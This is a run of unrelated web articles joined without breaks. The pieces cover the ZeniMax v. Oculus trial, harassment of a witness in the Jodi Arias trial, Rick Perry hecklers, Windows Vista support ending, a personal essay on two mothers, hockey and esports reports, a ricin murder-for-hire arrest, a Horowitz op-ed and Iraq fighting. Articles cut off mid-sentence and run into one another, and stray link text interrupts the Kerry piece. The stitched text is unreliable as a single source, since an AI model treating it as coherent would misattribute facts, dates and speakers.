The plaintiffs also showed a WhatsApp transcript between Iribe and Zuckerberg the night before Zuckerberg’s deposition last January. “We need to sync before your depo,” said Iribe’s text, a message that ZeniMax believes was an attempt to collude on their stories.
ZeniMax ended their cross examination with a quote from a white paper at Oculus that included the following in its acknowledgements section:
“We want to thank John Carmack, creator of Heaven and Earth (and Doom, of course).”
It is a fairly prominent proclamation, the ZeniMax team supposed, that Carmack’s contributions were indeed a key component to the Rift’s success.
In the afternoon, ZeniMax brought in David Dobkin, a computer science professor from Princeton University. He testified about dissecting the ZeniMax and Oculus codebases (terabytes of code, he said) to determine if any of the components included copied trade secrets.
He told the court room that he was able to identify seven core components in both codebases that exhibited telltale fingerprints of being copied. He said the evidence was in how both included aberration correction, time warping, and drift correction.
Dobkin, whose shaky voice but deliberate word choice was an odd blend of rehearsed and nervous, produced several diagrams showing blocks of code that he identified as evidence of one or the other kind of copying.
In cross-examination, Oculus attorneys tried to tear down each of Dobkin’s points based on the notion that determining non-literal copying is subjective.
Because there were no instances of literal copying from ZeniMax code sources to Oculus code, the assertion was that Dobkin’s findings were open to interpretation regardless of his expert status. As Oculus lawyers went down each of the seven of Dobkin’s core components, they presented statements from Dobkin’s 2016 deposition that he was not an expert at that time of his report in any of the particular fields required, such as chromatic aberration and gravity orientation. They also presented quotes from another subject expert Michael Gleicher’s deposition that these problems were well-known prior to 2012, as were the software solutions to the problems.
Gleicher himself then took the stand and was run through the same credential exhibition. He has been in virtual reality for 20 years and computer graphics for 30 years, having earned a bachelors of science in electrical engineering and computer science from Duke University as well as a masters and doctorate in computer science from Carnegie Mellon. Gleicher, in fact, created the first VR class at the University of Wisconsin-Madison, the same college that he teaches computer science at now.
A key difference in what Dobkin and Gleicher contributed to this trial is that Gleicher only analyzed the ZeniMax codebase, but his expertise in VR technology offers up some new and unique arguments. Gleicher, for instance, broke down the concept of “immersive VR” as equal parts software and hardware, and the hardware further has the constituent parts of displays, sensors, lenses, and ergonomics.
Gleicher produced a graphic that showed a Venn diagram of what makes just the head-mounted display and what makes up an actual VR experience. The HMD side contained displays, lenses, and ergonomics while the other side was only sensors. This provided the base of the ZeniMax argument that since the original prototype sent to Carmack by Luckey did not include a sensor, it was not a true VR experience. Since Carmack provided the Hillcrest sensor himself, he was the one who completed the immersiveness qualifications.
Gleicher also prescribed three points to the software half of the equation. The software should produce good-looking visuals that are believable, move correctly with the sensor data and offer low latency or attempt to reduce the perception of latency. Since the only software available to show for a large portion of 2012 was ZeniMax’s VR testbed and Doom 3 BFG Edition, ZeniMax proposes they were the sole contributors to this half of that VR experience.
Oculus opened up its cross-examination by pushing Gleicher to confirm that simply having software and sensors won’t result in a full VR experience either. This gave the impression that what Luckey created was just as vital as ZeniMax’s contributions, if not more.
Tomorrow will see the conclusion of Gleicher’s testimony.
The federal trial is expected to run as long as another two weeks.
Much of yesterday was taken up by the testimony of Oculus’ other founder Palmer Luckey, his first public appearance since it came to light in September that he had been secretly spending money on funding an unofficial Donald Trump group that “shitposts” anti-Hillary Clinton memes and images.
That day in court seemed to be centered around proving whether Luckey was capable of creating the Oculus Rift on his own, without the help of Carmack.
On Tuesday, Facebook founder Mark Zuckerberg was grilled about his company’s seemingly rushed acquisition of Oculus for $2 billion. And last week, Carmack was questioned about his decision to copy some code from id Software computers before leaving the company to work at Facebook with Luckey.
Rockville, Maryland-based ZeniMax sued Oculus in May 2014, alleging that the VR startup misappropriated trade secrets in the development of the Oculus Rift headset. The lawsuit was filed weeks after ZeniMax publicly accused Carmack of providing technology to Oculus. Oculus has said it will disprove those claims.
According to ZeniMax’s complaint, Oculus co-founder and Rift inventor Palmer Luckey — along with a half a dozen ex-ZeniMax employees who are now working at Oculus — are building the Rift based on years and millions of dollars’ worth of ZeniMax’s research and copyrighted code.
Oculus, which is now owned by Facebook, denies the allegations, saying the lawsuit came to a head after Facebook purchased the company and as a “chance for a quick payout.”
The trial kick off was bookended by twin salvos of accusatory statements from ZeniMax and Oculus.
The history of Luckey, the Oculus Rift, Carmack and ZeniMax-owned id Software, is a complicated and entwined one. You can read more about it in our previous coverage of the ongoing suit.
Update: We’ve updated the story with the conclusion of Iribe’s testimony.
Update 2: We’ve updated the story with the conclusion of the day’s testimony.The Republic | azcentral.com Thu Apr 11, 2013 2:36 PM
For three days this week, a domestic-violence expert witness named Alyce LaViolette held her own against prosecutor Juan Martinez in the Jodi Arias murder trial in Maricopa County Superior Court.
But in cyberspace LaViolette was annihilated.
The Arias case is an international phenomenon, reduced to a parable of good and evil relayed in 140-character Twitter posts. Travis Alexander, the secret lover she killed in 2008, has become a cause célèbre. Arias has become a pariah, and everyone associated with her is considered evil by thousands in the social-media audience.
LaViolette took the stand March 26, hired by the defense to convince the jury that Arias was a victim of abuse from Alexander.
The tweets and other social-media posts began appearing the next week. “You can show your disgust with LaViolette,” they began, and they posted her office phone number and her website, and they suggested that people write negative reviews of her best-selling book on Amazon.com.
As of Tuesday, there were more than 500, panning the book and calling LaViolette a fraud and a disgrace.
People also were calling organizations that had booked her for speaking engagements, trying to persuade them to cancel her appearances.
And on a day when she and Martinez bickered over the meaning of stalking, someone obviously followed her to dinner and later posted photos of her dining with Arias’ defense attorney Jennifer Willmott and one of her legal staff. The photo, posted on at least two Facebook pages devoted to the trial, was accompanied by comments implying that somehow defense attorneys are not allowed to communicate with the experts they hire.
The barrage of online attacks was the subject of lengthy meetings in a judge’s chambers on Monday. It sent LaVio |
serving openly in the military is a sign of what’s wrong with America.
“Why do you hate gays so much?” screamed one Iowan as Perry wrapped up a his campaign stop and avoided taking any questions from the audience, reported the Des Moines Register.
The heckling followed Perry’s brief remarks to Iowa voters at the Cafe Diem coffee shop in downtown Ames.
“Why are you demonizing gay and lesbian people?” shouted another heckler.
Another man, identifying himself as a Marine veteran from the Iraq war, asked Perry, “Why can’t gays compete in the military?”
Jason Arment, 24, of Grimes, Iowa and an English major at nearby Iowa State University, who said he was straight, said he served with the Marines in Iraq in 2007 and 2008, and that he found the Perry ad “extremely offensive” and “insulting” to service members, reported the Los Angeles Times.
At the center of the storm is a Perry campaign ad aimed at evangelical Christians in Iowa, in which he says that “there’s something wrong in this country when gays can serve openly in the military but our kids can’t openly celebrate Christmas or pray in school.”
Watch:
Iowa State University associate professor Warren Blumenfeld was one who shouted questions to Perry, asking him why he was marginalizing and demonizing non-Christians.
“The implication is if you’re gay, lesbian, bisexual or transgendered, you’re not a real American,” said Blumenfeld, who teaches studies about sexuality. “He is marginalizing people and dividing this country, and he’s demonizing proud Americans who just don’t have the social identities as he has.”
Sunday marked the first that Perry was confronted over the ad on the campaign trail.
This Story Filed UnderA Boeing 737 Engine Chair is What Your Apartment Really Needs
posted 2 years ago
Seen here being modeled by a man who from now on we will only refer to as Dapper Dan, this is the 737 Cowling Chair constructed by Fallen Furniture. Although I guess Boeing could take some credit as well, considering it was one of their engines to begin with. Fallen Furniture just upcycled it. Just don't get used to sitting in plane engines or one day you're gonna try sitting in the wrong one and get chopped to bits. Still, I want one. Sure it would take up a quarter of my apartment, but I'm cool with that. I'll just have to move the bounce castle.
Keep going for several more shots of the possible black hole.
AIRCRAFT PART: BOEING 737 ENGINE COWLING.
Created from the engine cowling of
an Boeing 737, this colossal, luxurious chair, spins weightlessly, on its highly polished spun aluminium base. Stood
in its original orientation, this immense, captivating structure, is the opitome of luxury seating. The epic proportions of the high gloss flawlessly finished shell and dark interior upholstered in the high- est quality leather, frame the hand mirror polished cowling opulently. This unique and impressive masterpiece would form centre of any room.
Dimensions
H: 200 cm W: 200 cm D: 200 cm
via LostATeMinor
Page Turn
Related articles in GadgetsWindows Vista users now have less than 30 days to migrate to a newer Windows version, as Microsoft is pulling support for the old operating system on April 11. Windows Vista reached end of mainstream support on April 10, 2012, and the last security fixes released as part of extended support will be shipped in April.
"After April 11, 2017, Windows Vista customers will no longer receive new security updates, non-security hotfixes, free or paid assisted support options, or online technical content updates from Microsoft," Microsoft explains on a FAQ page for Windows Vista end of support.
Windows Vista's final date for security updates is April 11, 2017, while Office 2007 support ends on October 10, 2017.
Those are the two most prominent in a long list of Microsoft products reaching the end of the line next year. If you are, for some odd reason, still using Microsoft Virtual PC 2007 or Microsoft Visual Studio 2005 Team Edition for Database Professionals, the time is now to begin letting go.
These end dates are also mileposts on Microsoft's road to the cloud.
As I've noted before, Microsoft has a well-established support lifecycle for its software products. It's basically an agreement that the company makes with everyone who commits to its core products, Windows (desktop and server) and Office.For most of my life, I have had two mothers. My first mother, of course, was my biological mother. I lived with her until I was two years old. Not surprisingly, I don’t remember much of my early years with her. But I do remember some. After her, I met my second mother, who was the one shining light in a childhood of darkness. Both of these women, for better or worse, shaped me into the woman and mother I am today.
My earliest memory is of my biological mother. I don’t know why I have this memory because it seems so insignificant. I was sitting on the living room floor watching tv. My parents were sitting on the sofa behind me. My mother told me it was time to go to bed. She picked me up, carried me into my room and put me in my crib. Then she left. I remember looking through the slats of the crib out the window. There was a thunderstorm. I was scared and decided that I didn’t want to stay in that crib by myself. So I climbed out of the crib and went right back out to the living room, sitting back down on the floor in front of the tv. I fully expected to be picked back up again and put in the crib. But it didn’t happen. I wondered why not. I sneaked a peak behind me and my parents were just sitting there, watching the tv. So I turned back around, shrugged it off, and watched the tv, too. I was relieved.
My last early memory of her was the day my dad and I left, when I was two years old. They were getting divorced. I was in his truck, in my car seat, and we were driving away. I could barely see out the window. He was telling me, “Wave bye-bye to Mommy!”
I twisted to look at her and wave. She was standing in front of the house, at the end of the walkway. She had long, wavy brown hair. She was smiling and waving. I thought to myself, as I waved goodbye to her, “Why is she smiling? She is sad.”
About a year later, I met my second mother. My first mother lived very far away and was not involved in my life. My second mother became my mom, her son my big brother. We became a whole new family. We were, for the most part, a happy family. She was a teacher and she knew exactly how to manage me as a high-spirited child. I was only spanked maybe twice my entire childhood, which was rare in those days. I was allowed to roam free, play sports, climb trees, get dirty and generally be myself. She never made me feel bad about who I was. She always told me and modeled for me that a woman could be or do anything in life. I fully believed her. She was one of the only working mothers I knew. When she found out I was being abused, she put a stop to it immediately. She did not cover it up.
When I was eleven years old, my second mother and my father divorced. My first mother had me for a summer visit, the second one ever, and refused to send me back home. I was devastated. But I never did go back home. This new family was very different from my previous family. I now had little siblings to play with. And she and her husband were very involved with their church and nutrition. I adapted quickly. The most difficult thing to get used to, though, was the physical violence. Her husband had a vicious temper. He attacked her regularly and it only took a couple of months before he attacked me. It wasn’t just the outbursts I had to deal with, it was also the discipline. They both believed the bible verse that “spare the rod, spoil the child,” meant they were to purchase rods from hardware stores and spank their children naked.
I believed their religion and tried my best to be good. They wanted me to be a “lady” and refused to allow me to run track, even though I was the fastest kid in my school. I was enrolled in ballet, because that was a “girl’s” activity. I had to ask permission to eat, even a snack. Every move I made was controlled.
I eventually moved out during my senior year of high school. I loved my first mother and her husband very much, and their god. But I felt that I could never please them. I hoped that with some distance, we would get along better. They told me the day I left that they would never have anything to do with me until I repented. What they didn’t tell me was that they would keep my little brother and sisters from me for the next fifteen years.
At least I was finally able to see my second mother again. I was able to begin to repair the relationship with her that had been completely broken during my years in my first mother’s home. I had not been allowed to speak to her or see her for seven years. I had been forced to call her by her first name. Her letters and cards had been censored, with words and lines blacked out before I could read them. It was a joyous, but awkward reunion. I questioned, for the first time, if she really was my mother. I had been thoroughly instructed that she was not.
Any conversations with my first mother over the next twenty years only consisted of her demanding that I apologize to her for leaving. I was unable to do so. It was a stalemate.
I went on to get married, have children, get divorced. I struggled with spirituality. Religion had been used to abuse me for so many years. I yearned for a bond with a mother that I didn’t feel I had. My second mother, who was once so very much mine, had been ripped away from me, and I was not completely sure she ever was or would be mine again. My first mother wanted nothing to do with me, or her grandchildren, though the offer was there.
My whole life has been a lesson in forgiveness. I have experienced every form of abuse a child can endure. As much as I thought I knew how to forgive, what I still hadn’t learned was how to both forgive and embrace. I am learning this through my relationships with my mothers.
Almost twenty years after leaving my second mother’s home, I finally told her I didn’t need her to accept why I left. I didn’t need to win that argument. And I could embrace her presence in my life, as she was, without ever resolving what happened. I was ready to move forward. Remarkably, so was she.
And throughout these years of mothering, when I am afraid to call my second mother for advice or comfort, because I don’t believe she really wants me or is connected to me, I am learning to set that aside. Because she taught me how to be a strong woman and because without her I just don’t know where I would be today. While my first mother gave me life and modeled what not to do, my second mother gave me all the tools I needed to survive the trials of my childhood in one piece and have a hope of being a competent mother today. I owe her everything. And I very much need her.
My two mothers are not perfect. They have disappointed me in many ways. But that’s the point of this whole exercise. No woman is perfect. No mother is supposed to be the one and only source for any child. She can’t be that. It’s unfair to ask her. All mothers have gifts and flaws. We give that which we are able and where we cannot, it’s okay for other women to fill in the gaps. If that doesn’t happen, it’s okay to forgive. I know I’m not perfect. Why should MY mothers be?
©UnnecessaryWisdom.wordpress.com 2013
Your thoughts, comments and suggestions are always welcome!
Related articlesSOLDFluttershy stands at approximately 12" from hoof to the top of her mane and 12" long. She was handmade using my own pattern. She was mostly machine sewn but does have a few hand sewn elements so she is not recommended for children. She is made using super soft minky fabric and has embroidered eyes and cutie marks. She also has satin stitch details on her mane, tail and wings. Her head is jointed so she can move her head from side to side. Fluttershy is stuffed with premium polyfil and has weighted hoofs using polybeads. She comes with her pet bunny Angel. Angel is made using soft minky fabric and polymer eyes. Angel has wires in his ears and hands so he can be posed anyway you would like. You can see more views of her in my gallery.please visit my journal for information on commissions, OC's are welcome!Maxime Comtois was the third pick in the QMJHL Draft in 2015, and he was always seen as a future NHL prospect, but has seen his stock drop with a subpar season this year.
Comtois played in more games in his second year, but had less production in every offensive category. That’s not the way to make your case to NHL scouts. The scouting services are higher on him than NHL Central Scouting, but he should still be selected in the first round.
Place of Birth: Longueuil, Quebec
Shoots: Left
Position: Left Wing
Height: 6’1" Weight: 201 lbs
Comtois will not wow you with skills. He’s a power forward who excels by playing an all around game.
He’s a bigger body, and he lives in front of the net. His shot totals from high danger areas are among the best draft eligible players in the QMJHL this year, and as you can see from the two past years, he is consistently close to the opposing goaltender, something that should bode well for him going to the next level.
Comtois is not only a scorer, and gets rave reviews for his play at both ends of the ice. He can play on the penalty kill, and has a dangerous combination of speed and strength. His path to an NHL career don’t rely on his offensive numbers alone, which is probably a good thing given his struggles this year.
He had a very good Ivan Hlinka tournament with four goals and an assist in four games for Canada, but that momentum didn’t carry over to his season where he had 22 goals and 29 assists in 64 games down from 26 goals and 34 assists in 62 games his rookie year.
He had 0.39 primary points per game (15 goals, 10 assists) at 5-on-5, which was eighth among Draft Eligible QMJHL prospects. He was tied for third with eight shots shorthanded (he had one goal) among Draft Eligible prospects. There’s no sugarcoating it: he struggled in what might have been his biggest season.
Scouting
Future Considerations:
“Comtois is a skilled player who drives possession and pace. He loves to carry the play, is a highly effective passer and playmaker. Sets himself apart in the way he excels with quickness, especially in tight areas. Can beat goalies with his hard wrist shot and his great release. Will play physical taking great angles to the puck carrier and finished his checks. Hard back checker who’s a coach’s dream. He put great numbers in his rookie season but he struggled a little bit more this year. However, he is still effective on both sides of the puck and he is a hard worker.”
Rankings (note: these are not all final rankings):
HockeyProspect: 27
ISS: 25
Future Considerations: 24
McKeen’s: N/A
NHL Central Scouting (North American Skaters): 30
Thoughts
Expect to hear a lot about Comtois leading up to the draft, especially as it pertains to the Montreal Canadiens. People love homegrown talent, for better or for worse, and Comtois is not only a homegrown talent, but a power forward who is expected to be around when the Canadiens select in the first round.
He doesn’t project as a first line talent, but that’s why he should be available at the end of the first round, and not among the top selections. Comtois does have the potential to score, and teams who like his offensive abilities will be more likely to take a chance on him.
If he had a great season, or even showed moderate improvement on his rookie year, he would probably be a top-15 prospect, but the fact that Comtois can play at both ends of the ice means he should remain a first round pick as he has multiple qualities he can bring to an NHL roster.
All statistics courtesy Prospect-Stats.comSome money from Iran's sanctions relief is likely to go to terrorists, Secretary of State John Kerry John Forbes KerryOvernight Defense: White House eyes budget maneuver to boost defense spending | Trump heads to Hanoi for second summit with Kim | Former national security officials rebuke Trump on emergency declaration 58 ex-national security officials rebuke Trump over emergency declaration Ex-national security officials to issue statement slamming Trump's emergency declaration: WaPo MORE acknowledged Thursday.
Still, he said, he has yet to see that happen, adding there will be consequences if Iran uses the money to fund terrorism.
ADVERTISEMENT
“I think that some of it will end up in the hands of the IRGC or other entities, some of which are labeled terrorists,” he said in an interview with CNBC, referring to the Iran Revolutionary Guard Corps.
Over the weekend, the United States lifted sanctions related to Iran’s nuclear program after it certified Tehran was in compliance with the nuclear agreement.
Lawmakers opposed to the deal have argued that the billions of dollars Iran gets after sanctions are lifted will be funneled into supporting terrorist organizations.
In an interview from the World Economic Forum in Switzerland, Kerry conceded the United States can’t prevent that from happening.
“You know, to some degree, I'm not going to sit here and tell you that every component of that can be prevented,” he said. “But I can tell you this: Right now, we are not seeing the early delivery of funds going to that kind of endeavor at this point in time."
Of the $100 billion to $150 billion in sanctions relief, Kerry estimated Iran would end up with $55 million because some of the money is obligated to foreign debts.
He later told a group of reporters on the sidelines of the forum that the Revolutionary Guards are "already complaining that they are not getting the money,” according to The Associated Press.
“If we catch them funding terrorism, they're going to have a problem in the U.S. Congress and other people, obviously," he said.
A group of Republican senators vowed Thursday to introduce new sanctions should the administration not take a tough stance against the country.
They also derided Kerry's remarks.
"Talk about stating the obvious," said Sen. Kelly Ayotte (R-N.H.) "I mean, come on. I mean, this is something we've all known from the beginning."
Added Sen. Lindsey Graham (R-S.C.): "Secretary Kerry announced to the world that it's 'likely' that Iran will use some of this money to support terrorists. Secretary Kerry, it is certain that they will use this money to support terrorism. You might as well have written the check to Assad yourself. You might as well have funded Hezbollah yourself."
-- Jordain Carney contributed to this report
-- Updated at 3:54 p.m.Tourists take selfies at Wat Chai Wattanaram in Ayutthaya province. The National Broadcasting and Telecommunications Commission plans to track foreign visitors' movements in the country around the clock with special SIM cards. (Photo by Seksan Rojjanametakun)
Telecom regulators on Tuesday approved in principle a requirement that foreign visitors to Thailand use special SIM cards in their phones that can be tracked by the authorities.
Takorn Tantasith, secretary-general of the National Broadcasting and Telecommunications Commission (NBTC), said the resolution was in the interests of national security.
The NBTC would discuss the measure with mobile phone operators, the Customs Department and other related state agencies.
Mobile operators can preset some technical features in SIM cards to ensure that they can always locate users, who will be unable to turn off the function, he said.
From January to July this year, 19.06 million foreigners visited the country, up 12% year-on-year, according to the Tourism and Sports Ministry.(JTA) — An Israeli woman living in Oklahoma allegedly offered to pay $4,000 to have her ex-husband in Israel killed.
Danielle Dana Layman of Ponca City, Oklahoma, posted the job for a “discrete” actor on Craigslist, calling it a “10 day gig overseas for amateur, competitive pay!” The job requirements listed also included a “creative, outgoing and friendly, positive personality” and “boldness and bravery,” the Oklahoman newspaper reported.
A person who responded to the ad in May called the FBI. She said Layman, using the name Samantha Dowry, offered $4,000 in cash, plus $1,000 for expenses, to poison her ex-husband, a taxi driver, and gave her a baggie of ricin to be used in the plot, the Oklahoman reported, citing a federal affidavit.
Layman was arrested at her home on Friday and was charged Saturday in Oklahoma City federal court with using the internet to solicit murder. She faces up to 10 years behind bars.
During a search of her home, printed instructions on how to make the poison ricin were found on her counter, as were the ingredients and implements needed.
In 2014, while Layman was on a visit to Israel with her 13-year-old daughter, her ex-husband turned to a rabbinical court seeking visitation rights.Cloud9 stomp Tyloo 16-0 on Dust2 to take the first place in their group and qualify for IEM Oakland.
The winners' match started beautifully for the North American team, as they controlled the flow of the game from the Terrorist side—winning the first seven rounds in the row. TYLOO tried to break their momentum with an early tactical pause, but with no avail as Cloud9 continued to dominate all over the map.
After losing men and sites early in rounds, the Chinese side tried to go for saves but were unable to even do that as the hunts were successful from Jordan "n0thing" Gilbert and co.
Cloud9 were taking no hostages on Dust2
14-0 down, TYLOO managed to get into a decent situation as they evenly traded kills, but were uncoordinated on the A site hold in the end, allowing Timothy "autimatic" Ta and co. to easily take the round for a perfect 15-0 half.
Hui "DD" Wu managed two kills on the pistol round with his team getting the plant on the A site, but TYLOO wasn't able to hold off the retake as autimatic showed up with three kills coming from long to close out the match with a 16-0 scoreline.
With this result, Cloud9 qualified for the iBUYPOWER Masters grand final and secured a spot at IEM Oakland later this month.
iBUYPOWER Masters 2016 Best of 1 Cloud9 Matchpage 16 0 TYLOO 16 Dust2 0
Cloud9 K - D +/- ADR Rating 2.0 Timothy 'autimatic' Taautimatic 22 - 6 +16 135.0 2.42 Jordan 'n0thing' Gilbertn0thing 15 - 5 +10 98.2 1.83 Mike'shroud' Grzesiekshroud 13 - 4 +9 86.1 1.82 Tyler 'Skadoodle' LathamSkadoodle 11 - 3 +8 57.0 1.41 Jake 'Stewie2K' YipStewie2K 12 - 11 +1 86.5 1.18 TYLOO K - D +/- ADR Rating 2.0 YuanZhang 'AttackeR' ShengAttackeR 8 - 13 -5 58.2 0.60 Hui 'DD' WuDD 8 - 16 -8 66.0 0.56 Ke 'captainMo' LiucaptainMo 6 - 14 -8 35.4 0.45 YuLun 'Summer' CaiSummer 5 - 15 -10 40.7 0.30 HaoWen'somebody' Xusomebody 2 - 15 -13 19.5 0.12
Professeur writes for HLTV.org and can be found on Twitter.Today we are witnessing a resurgence of global Jew hatred not seen since the 1930s when Hitler was laying plans for the “Final Solution” — the physical extermination of European Jewry. In the Middle East, Hitler-admiring leaders in Iran and parties such as Hamas and the Muslim Brotherhood are openly planning to finish the job Hitler started. And in America, on campuses across the country, student groups explicitly echo the poisonous messages of these Jew-hating parties that hold events calling for the destruction of the Jewish state — the unmistakable meaning of their signature chant, “From the river to the sea, Palestine will be free,” because the river is the eastern boundary of Israel and the sea its western boundary.
These campus-approved organizations — most prominently Students for Justice in Palestine — engage in rhetoric and activities that clearly fall under the definition of anti-Semitism used by the U.S. government: “Anti-Semitism is a certain perception of Jews, which may be expressed as hatred toward Jews. Rhetorical and physical manifestations of anti-Semitism are directed toward Jewish or non-Jewish individuals and/or their property, toward Jewish community institutions and religious facilities.” They deny the Jewish people — and only the Jewish people — their right to self-determination, they demand that Israel be judged by standards not applied to any other nation, they deploy classic anti-Semitic imagery, they propagate the idea that Israel exists on land stolen from the Arabs, and they demonize Israel as an apartheid state.
In a letter to The Daily Californian published March 20, members of SJP claim to have been persecuted by a poster campaign I organized to highlight its anti-Semitic and anti-Palestinian activities. One poster, for example, featured two Hamas terrorists about to execute a Palestinian for alleged collaboration with the Jews. The SJP letter goes on to describe its “protests,” which I believe clearly express a genocidal goal: the elimination of the Jewish state. It complains that the Daily Cal editors refused to print a passage in the SJP members’ original submission because it was “libelous and unverifiable,” which it clearly was. As quoted in their letter, “The (SJP) flyers called attention to the real eviction notices Palestinians in the Occupied Territories receive from the Israeli military as part of the Israeli government’s policy of expelling Palestinians from their land in order to build ethnically-exclusive settlements, an ongoing project of ethnic cleansing that has seen some 27,000 Palestinian homes demolished since 1967.”
These SJP claims misrepresent the situation. Since its creation, Israel has been home to more than 1 million Arabs who, as Israeli citizens, sit on Israel’s Supreme Court, are members of its Knesset and enjoy more rights than the Palestinians living in the West Bank and the Gaza Strip. Of the two parties that seek to represent Palestinians, one is a terrorist group sworn to eliminate the Jewish state. It is SJP that supports ethnic cleansing, not Israel.
Nor does Israel “occupy” any Arab land. Israel was created the same way Jordan, Syria, Iraq and Lebanon were created — out of the ruins of the Turkish empire, which ruled the area for 400 years before the countries’ creation. Native Americans have a greater claim to the United States than Arabs do to either Israel or Gaza and the West Bank. More to the point, there appear to be no Hamas, Fatah or SJP protests against the Hashemite rulers of Jordan, whose oppressed majority population is Palestinian. That is because the goal of the Palestinian movement, as led by terrorists, is not the liberation of Palestine but the destruction of the Jews.
The 70-year Arab war against the state of Israel is racist to its core. There is no peace in the Middle East because it is impossible to negotiate peace with people who want to eliminate you. The actions of SJP make it a supporter and active abettor of a war against the Jews. (The fact that some obtuse Jews are unable to recognize this and are members of SJP does not mitigate its truth.)
SJP is responsible for the atmosphere of fear that is a palpable reality for many Jewish students. As such, SJP clearly violates UC Berkeley’s “Principles of Community,” under which officially recognized student groups are supposed to operate. Under the U.S. Constitution, SJP has every right to spew its noxious hatreds and spread its lies. It does not have rights, however, to the privileges of legitimate student groups or to funding from the campus and taxpayers of California. This is an outrage that needs to be addressed by UC Berkeley’s Division of Student Affairs, and the sooner the better.
David Horowitz is the founder of the David Horowitz Freedom Center and the author of “Radical Son: A Generational Odyssey.”
Contact the opinion desk at [email protected] or follow us on Twitter @dailycalopinion.
Clarification(s):
A previous headline accompanying this article did not clearly state who was singling out Students for Justice in Palestine.Kentucky Gov. Matt Bevin, has been systematically working to end abortion services in the state, and he has very nearly gotten his wish. A trial begun Wednesday will decide the fate of Kentucky’s last abortion clinic.
Reuters reports that a US District judge will be hearing arguments in a three-day case surrounding whether the EMW Women’s Surgical Center can remain open. In March, the clinic was suddenly informed that their license was being revoked as they were not meeting unnecessary requirements that they say they had never been previously notified of, including precautions for medical emergencies, like transfer agreements with hospitals and an available ambulance service.
Advertisement
EMW argues that the restrictive regulations imposed by Bevin’s administration are solely intended to shut down clinics, and have nothing to do with the safety of women. All hospitals are already obligated to take in patients in an emergency, and will be transported by EMS units in such cases. Kentucky is one of seven states with only one abortion clinic, and if EMW closes it will be the first to have none, according to NPR.
EMW’s lawyer from the ACLU, Brigitte Amiri, believes that the 2016 Supreme Court case Whole Woman’s Health vs. Hellerstedt, which ruled that burdensome regulations created by the state of Texas for abortion clinics were unconstitutional, is what the Kentucky case hinges on:
“So when weighing the benefits of the law against the burdens — which the Supreme Court requires states to do — it’s very clear that what Kentucky is doing is blatantly unconstitutional,” Amiri said.
Advertisement
A spokesperson for Matt Bevin’s office told NPR that the state is “working diligently to protect the health, welfare, and lives of women in Kentucky,” and insists that the regulations aren’t about denying reproductive rights, but were in fact “important measures for ensuring women have the proper life-saving procedures in place in the event of an emergency.”China is losing interest in learning English, sending its proficiency in the global language of business falling ten places in a worldwide ranking.
According to language training company EF Education First, which conducted the 70-country ranking, the Chinese government has "questioned how much emphasis should be placed on English training in the public education system," said EF's Hong Kong-based Director of Research and Academic Partnerships, Minh Tran, in an email.
Schools in some parts of China have lowered the weighting of English language in scores counting toward the national college entrance exam while increasing the importance of the Chinese language component.
The decline in China's grasp of English comes as the country sets to assert its position as a global power not just economically but also culturally, driving a rise in the number of Confucius Institutes worldwide.
Established for the promotion of the Chinese language and culture, the non-profit organizations—named after the influential ancient sage—are affiliated with China's education ministry. There are about 100 such Institutesin the United States and about 400 in total across the world.Maxima doesn’t like words like slut and whore because they’re less descriptive than they are judgmental. Also she hates there’s nothing equivalent for men.
“If you ever need proof of the non-egalitarian nature of society…” she starts as everyone eyes the exit.
She’s not a fan of slut shaming even if some women act in ways she thinks reflects poorly on her gender as whole. But man, sometimes you’ve just got to call a spade a spade. In those situations she prefers slightly more comical adjectives like floozie and trollop. Anyway, “Colossal Space Floozie” makes me laugh every time I read it.
As I was drawing it, it occurred to me that this is as close to a skintight superhero outfit that Max is likely to ever get in to, barring some sort of skintight clothing ray, or a situation where the only clothes available are from Dabbler’s suitcase. Who knows, maybe it’ll happen one day.
Almost forgot to post this page. I was heading to bed when I remembered it was Wednesday evening. After A-kon I actually caught a case of con crud, which has never happened before. It was pretty mild, but enough to zone me out for a day or two, and my wife is out of town, so totally lost track of what day of the week it was. But I’m over it more or less. Hopefully I can get to the gym today. Mysteriously, there’s little else in the world that motivates me to work out more than attending a comic convention.
Double res version will be posted over at Patreon. $1 and up, but feel free to contribute as much as you like.The US military said that two fighters were killed between 8.30 am and 10.50 am on Sunday in separate attacks on US forces in Sadr City.
A medical official said that eight people, including a woman, died in night-time clashes.
At least 44 people were hurt in the violence, which broke out at 6:00 pm (1500 GMT) on Saturday and continued past dawn on Sunday, officials from the defence and interior ministries said.
The attacks on the Green Zone came after at least 10 people were killed in clashes between Shia fighters and US and Iraqi forces in Sadr City.
The al-Mahdi Army is led by Muqtada al-Sadr, a Shia religious leader opposed to the US military presence in Iraq.
The fighting in Sadr City came after al-Sadr said that fighting between his al-Mahdi Army militia and Iraqi security forces should end.
He called on Friday for "my brothers in the army, police and Jaish al-Mahdi [al-Mahdi Army] to stop the bloodshed".
Al-Sadr had warned on April 19 that an all-out war between government forces and the al-Mahdi Army could break out unless attacks on his fighters were stopped.
The violence in Sadr City is the latest in a crackdown against Shia fighters by forces from the Shia-led Iraqi government.
Hundreds of people are thought to have died in the operation by government forces since it was launched in the southern city of Basra and Sadr City in late March.
Sunni call
Also on Saturday, Iraq's Sunni vice-president said that the return of his political bloc to the Shia-led cabinet was a priority.
Tariq al-Hashemi, who is a member of the National Accordance Front, said the government needs to reconcile quickly to "save Iraq".
The National Accordance Front has boycotted the Iraqi government for nearly nine months.
Al-Hashemi has in the past accused Nuri al-Maliki, Iraq's Shia prime minister, of sectarian favouritism.
Al-Maliki has denied the accusation, saying that al-Hashemi has sought to undermine key legislation.Laurence Griffiths/Getty Images
After Everton's surprise defeat at home to Crystal Palace, Arsenal have received more good news: Mesut Ozil is back.
Speaking in his press conference to preview Arsenal's match away to fellow FA Cup finalists Hull City, Arsene Wenger said, per Arsenal.com: "It's good to have him back because we had so many offensive players out. He gives you always opportunities to score and I have to test him physically tomorrow and Saturday to see if he can travel."
If Ozil does make the trip up North, it's undoubtedly a huge boost to Arsenal's hopes of a top-four finish.
Michael Regan/Getty Images
Despite his protracted absence with a hamstring injury, Ozil has still created more chances this season than any other Arsenal player. According to Squawka, he has fashioned 63 goalscoring opportunities. Santi Cazorla follows him with 56, and after that there's a big drop-off until Olivier Giroud with 32. Any team would miss that kind of creative contribution.
Chart via Squawka.com
Ozil has eight assists in this season's Premier League. Only five players have more: David Silva, Wayne Rooney, Steven Gerrard, Rickie Lambert and Luis Suarez. If Olivier Giroud had a shot accuracy greater than his current rate of 41 percent, who knows how many more assists Ozil might have against his name?
